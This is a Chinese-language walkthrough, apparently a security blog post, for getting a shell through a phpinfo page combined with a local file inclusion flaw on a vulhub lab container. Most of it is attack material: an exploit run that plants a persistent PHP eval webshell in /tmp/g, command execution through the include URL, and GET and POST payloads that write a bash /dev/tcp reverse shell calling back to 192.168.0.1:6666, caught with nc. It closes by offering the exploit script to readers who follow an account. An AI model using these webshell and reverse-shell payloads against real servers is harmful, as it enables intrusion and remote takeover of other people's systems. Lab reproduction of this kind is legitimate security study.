利用场景
存在phpinfo页面,且存在文件包含漏洞,在找不到好的文件包含getshell时,可以使用。
该漏洞和php版本无关,即全版本通用。
环境搭建
使用vulhub靶场,进入漏洞目录,执行docker-compose up -d 创建容器(在root权限下执行)

下文出现的192.168.0.140在复现的过程中需要替换成你们vulhub搭建的ip,查看方法如下,需要注意使用docker搭建的靶场存在多张网卡,要确认好ip

确认环境
访问phpinfo页面:http://192.168.0.140:8080/phpinfo.php

访问文件包含页面:http://192.168.0.140:8080/lfi.php

写入shell
执行exp命令py -2 .\exp.py 192.168.0.140 8080 100

该exp写入一个永久的shell /tmp/g
<?=eval($_REQUEST[1])?>')?>
命令执行
利用文件包含,执行命令
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system('id'));

写入反弹shell
通过get传递数据写入反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system('echo "<?php system(\"bash -c \'exec bash -i %26>/dev/tcp/192.168.0.1/6666 <%261\'\");?>">/tmp/2.php');

通过构造成post传递数据写入反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system($_POST[s]);
s=echo "<?php system(\"bash -c 'exec bash -i %26>/dev/tcp/192.168.0.1/6666 <%261'\");?>">/tmp/2.php
页面显示报错,没关系,反弹shell已经成功写入 
反弹shell
使用nc.exe -lvvp 6666 监听6666端口

访问该页面利用文件包含执行反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/2.php
显示正在连接,然后得到反弹shell

获取exp
关注浪飒sec回复
221109获取exp下载地址